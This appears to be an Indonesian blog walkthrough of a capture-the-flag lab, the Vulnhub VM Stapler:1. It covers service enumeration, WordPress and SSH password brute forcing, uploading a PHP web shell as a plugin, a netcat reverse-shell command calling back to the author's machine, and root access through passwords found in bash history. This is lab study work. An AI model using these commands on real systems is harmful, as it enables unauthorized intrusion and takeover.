I. Latar Belakang 

Kembali saya melakukan latihan menggunakan VM yang saya dapat kan di Vulnhub, VM kali ini bernama Stapler:1 ,  inti dari latihan/permainan ini adalah CTF atau Capture The Flag, Keberhasilan hacking bisanya diindikasikan dengan membuka sebuah file bernama flag.txt yang biasanya ditempatkan di folder root,  OS nya adalah Linux, setelah di enumerasi akan ketahuan Linux versi berapa, adapun tingkat kesulitanya antara beginner to intermediate, ya sedang lah, VM ini dibuat oleh  g0tmi1k salah satu pentester dan hacker yang ngetop,  didalam situsnya disebutkan ada berbagai cara untuk masuk kedalam VM ini, tapi disini saya akan menggunakan satu cara saja di tiap-tiap tingkatan.

Salah satu tujuan saya membuat walktrough ini adalah untuk membukti kan kepada diri saya sendiri bahwa saya sudah paham, dan tidak lupa !

untuk informasi

IP address Lokal :  172.16.61.157

IP address Target : 172.16.61.154

 

II. Pengumpulan Informasi 

Langkah pertama yang saya lakukan adalah melakukan nmap scan untuk melihat layanan yang ada, disini saya gunakan -p- untuk menscan semua port yang ada

screen-shot-2016-09-21-at-9-18-23-pm
nmap -Pn -p- 172.16.61.154

Disini kelihatan service – service yang ada yaitu FTP server, Web server, SSH, MySql dan doom, doom itu biasanya service game Doom di port 666.

Langkah berikutnya adalah melakukan UDP scan

screen-shot-2016-09-21-at-10-01-40-pm
nmap -Pn -sU 172.16.61.154

Tampak disini untuk sementara waktu hanya UDP port 137 yang terlihat.

III. Enumerasi Layanan / Service Enumeration

Selanjutnya kita akan lakukan enumerasi lebih dalam terhadap port-port yang kita temukan

    1. Enumerasi FTP

Tahap awal enumerasi ini kita mulai dengan FTP di port 21, masih menggunakan nmap kali ini kita gunakan  juga nmap script untuk mencari tahu apakah Anonymous login diperbolehkan.

screen-shot-2016-09-21-at-10-24-39-pm
nmap -p21 -sV 172.16.61.154 –script ftp-anon

telah saya lakukan scan untuk versi ftp nya, yaitu VSFTPD 2.0.8, dan juga menggunakan script NSE terlihat disini login menggunakan Anonymous di perboleh kan namun tempak nya tidak bisa mendapat list direktori.

Langsung kita coba untuk login ke FTP

screen-shot-2016-09-21-at-10-39-35-pm
ftp 172.16.61.154

Dari hasil ini terlihat kita dapat login menggunakan user Anonymous kita bisa melihat isi direktorinya yang berisi file bernama ‘note’ bisa di download, namun sayangnya kita tidak bisa melakukan upload.

Berikutnya kita lihat isi file ‘note’ yang barusan saya download

screen-shot-2016-09-21-at-10-45-19-pm

Disini terlihat isi file note, disini juga kita bisa menyimpulkan bahwa kemungkinan besar ada user bernama Elly dan John.

   2. Enumerasi SSH

SSH atau Secured Socket Shell biasanya menjadi pintu masuk kedalam taret mengeumerasi dengan detil sangant lah penting

screen-shot-2016-09-21-at-11-04-23-pm

dapat kita lihat bahwa mesin ini menggunakan SSH-2.0-OpenSSH_7.2p2, untuk hasil enumerasi dari SSH dapat dilihat disini .

  3. Enumerasi HTTP

Langkah berikutnya adalah mengenumerasi HTTP yang berada di TCP port 80, kita akan menggunakan sebuah tool yang bernama nikto

screen-shot-2016-09-21-at-11-16-32-pm

Tidak banyak yang didapat dari hasil enumerasi menggunakan nikto, untuk sementara waktu sebaiknya kita lanjutkan ke port yang berikutnya

4. Enumerasi SMB

Langkah berikutnya adalah mengenumerasi SMB atau Server Message Block di port 139, SMB biasanya digunakan untuk file sharing SMB juga bisa digunakan sebagai pintu masuk, untuk enumerasi kita bisa gunakan nmap atau enum4linux

berikut hasil sebagian nmap script scan

screen-shot-2016-09-21-at-11-30-35-pm

Tampak disini beberapa informasi menarik yaitu Account Lockout Disabled  dan bebrapa directory yang di share, untuk hasil scan yang lebih lengkap dapat dimabil disini .

Berikut ini informasi menarik yang di dapat dari enum4linux

Screen Shot 2016-09-21 at 11.38.13 PM.png
Eenum4linux 172.16.61.154

Dari hasil diatas dapat diketahui ada beberapa network file share yang memberikan akses read dan write kepada anonymous, dan dapat diketahui juga account lockout tidak diset informasi ini memungkinkan kita untuk melakukan brute force nantinya.

screen-shot-2016-09-22-at-10-40-18-am

Kemudian dapat juga dilahat user-user yang ada, ini adalah informasi penting untuk langkah selanjutnya

screen-shot-2016-09-22-at-11-17-13-am

untuk lebih lengkapnya hasil enumerasi enum4linux dapat dilihat disini.

  4. Enumerasi MySql

Langkah enumerasi berikutnya adalah mengenumerasi MySql di port 3306 dengan harapan dapat memberikan pintu masuk awal, berikut ini enumerasi menggunakan nmap script

screen-shot-2016-09-22-at-10-30-49-am
nmap -p3306 –script mysql info 172.16.61.154

Informasi ini menyatakan bahwa adanya string salt Ini digunakan saat melakukan hash terhadap password, informasi ini kita simpan untuk nantinya di olah .

5. Enumerasi Port 12380

Dari hasil scan nmap diatas terdapat port misterius di 12380, kita harus meneliti lebih dalam ada apa di port ini

screen-shot-2016-09-22-at-12-27-40-pm
nmap -p 12380 -A 172.16.61.154

Hasil enumerasi ini menunjukan adanya web server yang menggunakan port 12380 dengan server Apache 2.4.18, dengan adanya informasi ini, langsung kita buka di web brawser

screen-shot-2016-09-22-at-12-59-32-pm

Tampilan ini menambah keyakinan saya akan adanya aplikasi yang jalan di port 12380.

Kembali kita gunakan nikto untuk melihat lebih dalam.

screen-shot-2016-09-22-at-1-20-55-pm
nikto -h 172.16.61.154:12380

 

Banyak informasi menarik yang kita dapat kan disini, terlihat aplikasi web di port 12380 menggunakan SSL (HTTPS) dan adanya folder /phpmyadmin, /admin112233, /blogblog dan juga file robot.txt, mari kita telusuri semua ini

screen-shot-2016-09-22-at-1-26-42-pm

Ini adalah halaman untuk administrasi MySql ini sangat berguna bila nanti kita perlu login ke dalam database MySql, selanjutnya kita periksa isi robots.txt

screen-shot-2016-09-22-at-1-33-07-pm

Setelah ini kita coba buka /admin112233

screen-shot-2016-09-22-at-1-50-27-pm

Jika di klik OK kita akan di redirect ke situs xxs-payload untuk sementara belum ada yang menarik untuk bisa disimpulkan

Selanjutnya kita lakukan enumerasi path /blogblog

screen-shot-2016-09-22-at-1-58-25-pm
https://172.16.61.154:12380/blogblog/

Tampak disini adanya blog yang menggunakan wordpress biasanya ada tempat login bagi administrator biasanya di path  /wp-admin .

screen-shot-2016-09-22-at-2-03-07-pm

Ternyata benar, disini ada aplikasi wordpress dan di directory inilah tempat loginnya. Selanjutnya saya lakukan enumerasi lebih dalam menggunakan wp-scan

screen-shot-2016-09-22-at-2-34-11-pm

Wpscan memberikan hasil berupa beberapa kemungkinan untuk mengeksploitasi, tapi yang paling menarik sekarang adalah adanya daftar login name yang nanti akan sangat berguna

IV. Eksploitasi / Explotation

      1. Mendapatkan Akses Terbatas (cara Pertama)

Dengan diketemukan adanya daftar user di wordpress kita dapat kembali menggunakan Wp-sacn untuk melakukan brute force  saya lakukan dengan perintah seperti ini :

wpscan –url https://172.16.61.154:12380/blogblog/ –usernames /root/latihan/stapler/userslist.txt –wordlist /root/latihan/stapler/password.lst

screen-shot-2016-09-22-at-3-33-15-pm

Untuk sementara waktu tampak disini hasil brute force menggungakan wpscan, username john dengan pasword incorrect

Dengan menggunakan kredensial ini saya berhasil login kedalam wordpress di VM ini dan mendapatkan bahwa John itu adalah wordpress Administrator.

Screen Shot 2016-09-22 at 4.46.52 PM.png

Langkah berikutnya berikutnya adalah kita coba membuat sebuah shell sederhana, kemudian kita lakukan upload melalui fitur upload plugins yang ada di aplikasi wordpress.

screen-shot-2016-09-22-at-5-35-59-pm

Selanjutnya file ini kita upload disini :

screen-shot-2016-09-22-at-5-23-47-pm

kemudian setelah klik install now akan ada perintah untuk memasukan data FTP itu bisa dilewatkan saja, untuk melihat hasil upload dapat dilihat di tab media

screen-shot-2016-09-22-at-5-41-12-pm

terlihat disini file yang baru saja saya upload dengan mengklik icon tersebut pada bagian bawah akan keluar alamat

https://172.16.61.154:12380/blogblog/wp-content/uploads/shitshell.php

 kita tinggal copy dan paste ke browser dan mentest shell sederhana ini

dengan menambahkan ?cmd=ls -alh

seperti contoh di bawah ini

screen-shot-2016-09-22-at-5-47-42-pm

Saya baru saja berhasil mengeksekusi perintah ‘ls -alh’ tampak disini banyak file-file lain, itu hanyalah file yang saya upload ketika bereksperimen.

Akan jauh lebih sempurna apabila kita mendapatkan sambungan shell untuk memudahkan interaksi dengan target, kita mulai dengan mengetik parameter ini setelah cmd untuk menyiapkan pipe

https://172.16.61.154:12380/blogblog/wp-content/uploads/shitshell.php?cmd=mknod /tmp/frontpipe p

 

kemudian kita siapkan netcat listener

screen-shot-2016-09-22-at-5-54-52-pm

setelah netcat siap, kita masukan perintah ini kedalam browser

https://172.16.61.154:12380/blogblog/wp-content/uploads/shitshell.php?cmd=/bin/sh 0</tmp/frontpipe | nc 172.16.61.157 443 1>/tmp/frontpipe

screen-shot-2016-09-22-at-7-24-16-pm

Tampak disini koneksi kita berhasil tapi belum root, untuk mengurangi penderitaan, kita masukan command sebagai berikut untuk menggunakan bash shell

echo “import pty; pty.spawn(‘/bin/bash’)” > /tmp/shell.py
python /tmp/shell.py

 

Selanjutnya saya juga menggunakan salah satu tool favorit saya untuk mengenumerasi semuanya secara otomatis linuxprivchecker.py yang hasilnya  hasilnya dapat dilihat disini

2. Mendapatkan Akses Terbatas (cara Kedua)

Saya akan menjelaskan cara kedua untuk mendapatkan akses terbatas, karena cara ini nanti akan berhubungan langsung dengan eksploitasi, di cara ini kita akan menggunakan brute force melalui SSH untuk mendapat kan valid username dan password, disini kita akan menggunakan tool yang bernama  metasploit dengan menggunakan auxiliary/scanner/ssh/ssh_login

screen-shot-2016-09-22-at-9-06-43-pm

kemudian kita jalankan, akan keluar hasi seperti ini

screen-shot-2016-09-22-at-9-21-32-pm

Tampak disini ada user bernama SHayslett menggunakan password yang sama dengan nama loginya, sangat menarik, kemudian metasploit secara otomatis membuka kan shell terbatas

screen-shot-2016-09-22-at-9-34-53-pm

3. Privilege Escalation/meningkatkan hak akses

Perjuangan belum selesai kita harus meningkatkan hak akses ke root agar dapat 100% menguasai mesin stapler:1, Kita sudah bisa masuk ke home account SHayslett dari sini kita mulai melakukan enumerasi apa saja yang bisa kita dapat, termasuk melihat semua home folder yang bisa kita baca.

Dengan menggunakan perintah ‘find /home/ readable type f 2>/dev/null‘ kita mendapatkan listing di semua home folder, salah satu yang menarik adalah 

screen-shot-2016-09-22-at-10-03-12-pm

adanya file di folder Peter yang sepertinya mengindikasikan bahwa peter dapat melakukan ‘sudo’ ke akun root.

Setelah membuka semua .bash_history dari semua akun yang paling menarik adalah bash_history akun milik JKnode yang isinya seperti ini:

screen-shot-2016-09-22-at-10-08-09-pm

JKanode : thisimypassword

peter       : JZQuyIN5

Telah kita ketahui bahwa user peter adalah sudoer dan punya akses ke root, kemudian kita pindah ke peter menggunakan password JZQuyIN5

screen-shot-2016-09-22-at-10-17-41-pm
su peter

dari sini saya segra lakukan ‘sudo su‘ untuk masuk ke root menggunakan password JZQuyIN5 kemudian pergi ke folder /root dan membuka isi flag.txt yang menandakan permainan telah diselesaikan dengan berhasil.

screen-shot-2016-09-22-at-10-20-42-pm
sudo su

 

screen-shot-2016-09-22-at-10-20-58-pm
flag.txt

 

 

V. Kesimpulan

Enumerasi, Enumerasi dan Enumerasi , mesin stepler:1 ini memerlukan banyak enumerasi dan ketelitian, pelajaran lain yang saya dapat iyalah menggunakan brute force, saya jarang menggunakan dan sering menghindar untuk melakukan brute force , ternyata walau memakan waktu terkadang itu menjadi pintu satu-satunya untuk masuk. Dan pelajaran bagi kita semua adalah jangan menggunakan password yang mudah gunakan kombinasi karakter, huruf besar-kecil dll.

 

Wassalam

-A. Zaki

Advertisements